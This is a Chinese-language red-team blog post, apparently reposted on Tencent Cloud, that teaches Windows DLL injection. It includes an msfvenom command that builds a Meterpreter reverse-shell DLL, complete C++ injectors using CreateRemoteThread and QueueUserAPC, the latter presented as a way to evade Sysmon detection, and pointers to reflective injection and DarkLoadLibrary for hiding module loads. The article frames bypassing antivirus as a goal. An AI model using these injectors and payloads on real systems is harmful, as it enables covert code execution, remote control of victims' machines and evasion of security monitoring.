DLL injection

什么是dll注入

在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。

  也正是由于进程的地址空间是独立的(保护模式),因此我们很难编写能够与其它进程通信或控制其它进程的应用程序。

  所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。

dll注入实现过程

1.附加到目标/远程进程

2.在目标/远程进程内分配内存

3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间

4.控制进程运行DLL文件

主要用到的几个函数:

OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread

既然是dll注入,那么我们肯定需要一个dll,我们使用msf直接生成一个dll出来:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -f dll -o inject.dll

然后手写一个dll注入器:

#include<Windows.h>
#include<stdio.h>

using namespace std;

int main(int argc,char * argv[]) {
  HANDLE ProcessHandle;
  LPVOID remotebuffer;
  BOOL write;

  wchar_t dllpath[] = TEXT("C:\\users\\root\\desktop\\inject.dll");

  if (argc < 2) {
    printf("Useage inject.exe Pid;\n");
    printf("such as inject.exe 258\n");
    exit(0);
  }

  printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
  ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
  if (ProcessHandle == NULL) {
    printf("OpenProcess Fail !!!");
    exit(0);
  }
  else
  {
    printf("OpenProcess %i successful !!!\n",atoi(argv[1]));
  }

  remotebuffer = VirtualAllocEx(ProcessHandle, NULL, sizeof dllpath, MEM_COMMIT, PAGE_READWRITE);
  write = WriteProcessMemory(ProcessHandle, remotebuffer, (LPVOID)dllpath, sizeof dllpath, NULL);
  
  if (write == 0) {
    printf("WriteProcessMemory Fail %i!!!",GetLastError());
    exit(0);
  }
  else
  {
    printf("WriteProcessMemory  successful !!!\n");
  }

  PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
  CreateRemoteThread(ProcessHandle, NULL, 0, threatStartRoutineAddress, remotebuffer, 0, NULL);
  CloseHandle(ProcessHandle);


  return 0;
}

在进程监控中,也可以清楚的看到进程被注入了dll。

在上面的注入方式中,我们使用了CreateRemoteThread来进行dll注入,而这个方式在具有Sysmon的系统中会留下Event ID 8的痕迹。而我们使用通过APC实现Dll注入则可以绕过这种监控。

#include <windows.h>
#include <TlHelp32.h>
#include <vector>

using std::vector;

bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) {
    auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
        return false;
    pid = 0;
    PROCESSENTRY32 pe = { sizeof(pe) };
    if (::Process32First(hSnapshot, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, exeName) == 0) {
                pid = pe.th32ProcessID;
                THREADENTRY32 te = { sizeof(te) };
                if (::Thread32First(hSnapshot, &te)) {
                    do {
                        if (te.th32OwnerProcessID == pid) {
                            tids.push_back(te.th32ThreadID);
                        }
                    } while (::Thread32Next(hSnapshot, &te));
                }
                break;
            }
        } while (::Process32Next(hSnapshot, &pe));
    }
    ::CloseHandle(hSnapshot);
    return pid > 0 && !tids.empty();
}

void main()
{
  DWORD pid;
  vector<DWORD> tids;
  if (FindProcess(L"calc.exe", pid, tids)) 
  {
    printf("OpenProcess\n");
    HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
    printf("VirtualAllocEx\n");
    auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    wchar_t buffer[] = L"c:\\test\\testdll.dll";
    printf("WriteProcessMemory\n");
    ::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr);
    for (const auto& tid : tids) 
    {
      printf("OpenThread\n");
      HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
      if (hThread) 
      {
        printf("GetProcAddress\n");
        ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p);  
      }
    }
    printf("VirtualFreeEx\n");
    ::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
  }
}

反射型dll注入

反射DLL注入可以将加密的DLL保存在磁盘(或者以其他形式如shellcode等),之后将其解密放在内存中。之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。因为没有使用LoadLibrary函数,要想实现DLL的加载运行,我们需要在DLL中添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是加载自身。

反射DLL注入实现起来其实十分复杂,需要对PE加载十分了解。通过编写ReflectiveLoader找到DLL文件在内存中的地址,分配装载DLL的空间,并计算 DLL 中用于执行反射加载的导出的内存偏移量,然后通过偏移地址作为入口调用 CreateRemoteThread函数执行。

msf已经有了相应的模块:

windows/manage/reflective_dll_inject

在内存中,可以看到明显的PE标识:

将其dump后

放入PE查看工具,可看到其为正常的PE文件与RDI特有的名字:

此类文件可配合sRdi使用,效果更佳。

DarkLoadLibrary

DarkLoadLibrary由batsec提出的项目,文章地址:

https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/

项目地址:https://github.com/bats3c/DarkLoadLibrary

图标展示了其特点:

其支持磁盘加载、内存加载。

磁盘加载:

内存加载:

其DarkLoadLibraryDebugging为自定义的名称,与NO_LINK,则看不到明显的dll加载痕迹

缺点是仅支持当前进程不支持远程进程,但不得不说,其优越性的确可以是当前进程加载dll的不二之选。

更多精彩推荐,请关注我们

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-10-06

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 研究人员如何使用Injector实现Windows下的内存注入

    Injector是一款功能齐全且强大的内存注入工具,该工具集成了多种技术,可以帮助红队研究人员实现在Windows系统下的内存注入。

    FB客服
  • CIA泄露资料分析(黑客工具&技术)—Windows篇

    近期,维基解密曝光了一系列据称来自美国中央情报局(CIA)网络攻击活动的秘密文件,代号为“Vault 7”,被泄露文件的第一部分名为“Year Zero”,共有...

    徐耀
  • loadlibrary/LdrLoadDll error 87的原因

    战神伽罗
  • sRDI:一款通过Shellcode实现反射型DLL注入的强大工具

    今天给大家介绍的是一款名叫sRDI的注入工具,它可以基于Shellcode实现反射型DLL注入,并能够将DLL转换成独立的Shellcode。

    FB客服
  • 读书笔记《antivirus-bypass-techniques》

    本文是基本图书《Antivirus Bypass Techniques: Learn practical techniques and tactics ...

    鸿鹄实验室
  • Unity Application Block 1.2 for Silverlight - December 2008

    几个链接: – MSDN site: http://msdn.microsoft.com/en-us/library/dd362339.aspx – Commu...

    用户1172164
  • Ioc模式和MEF

      分离关注( Separation of Concerns : SOC)是Ioc模式和AOP产生最原始动力,通过功能分解可得到关注点,这些关注可以是 组件Co...

    aehyok
  • 花式窃取NetNTLM哈希的方法

    原文:https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-ha...

    Seebug漏洞平台
  • Enterprise Library深入解析与灵活应用(1):通过Unity Extension实现和Policy Injection Application Block的集成

    Enterprise Library是微软P&P部门开发的众多Open source框架中的一个,最新的版本已经出到了4.0。由于接触Enterprise Li...

    蒋金楠
  • 如何实现一款 shellcodeLoader

    shellcode由于可以随意地进行变化和还原,杀软的查杀难度较大。因此将木马shellcode化,再进行shellcode免杀是目前最流行的免杀方式之一。

    Seebug漏洞平台
  • VC提前注入.net软件的方法

            在之前几节介绍了各种注入方法,但是这些方法存在一些缺陷——对.net程序注入无效。(转载请指明出处)

    方亮
  • 远控免杀专题-shellcode免杀实践

    目前网上有很多的自动生成免杀shellcode的工具,但是要知道杀毒软件检测某个免杀工具也是非常容易的,因为这些流行工具的指纹很容易被杀软公司搜集到然后加入特征...

    洛米唯熊
  • 深入解析 DLL 劫持漏洞

    2010 年 8 月,微软发布安全通报 2269637,同时网上公布了大量受影响软件的名字,DLL 劫持漏洞开始进入大家的视野。

    腾讯玄武实验室
  • 使用GoPurple运行Shellcode并评估终端安全性能

    GoPurple是一款功能强大的Shellcode运行工具,该工具基于Golang开发。GoPurple由多种不同的技术结合实现,其中包括了大量Shellcod...

    FB客服
  • 红队 | Windows注入的一些方式

    在渗透过程中有时候为了权限维持或者其他等一些操作,比如以前的搜狗输入法可以替换dll文件当用户切换输入法就会去加载我们替换的dll文件,dll文件可以自己编写一...

    HACK学习
  • 反射机制、依赖注入、控制反转

    反向: dll->类[方法,属性]. 从已经有的dll文件反编译得到其中的一些可用的方法.

    后端技术探索
  • 远程线程注入Dll,突破Session 0

    其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可以通过注入lsass,就想试试注入lsass

    HACK学习
  • Enterprise Library Policy Injection Application Block 之一: PIAB Overview

    在过去的半年里,定期或者不定期地写点东西已经成为了我的一种习惯。可是最近两个月来一直忙于工作的事情一直足够的时间留给自己,虽然给自己列了很长一串写作计划,可是心...

    蒋金楠
  • 那些shellcode免杀总结

    自己还是想把一些shellcode免杀的技巧通过白话文、傻瓜式的文章把技巧讲清楚。希望更多和我一样web狗也能动手做到免杀的实现。

    C4rpeDime

扫码关注云+社区

领取腾讯云代金券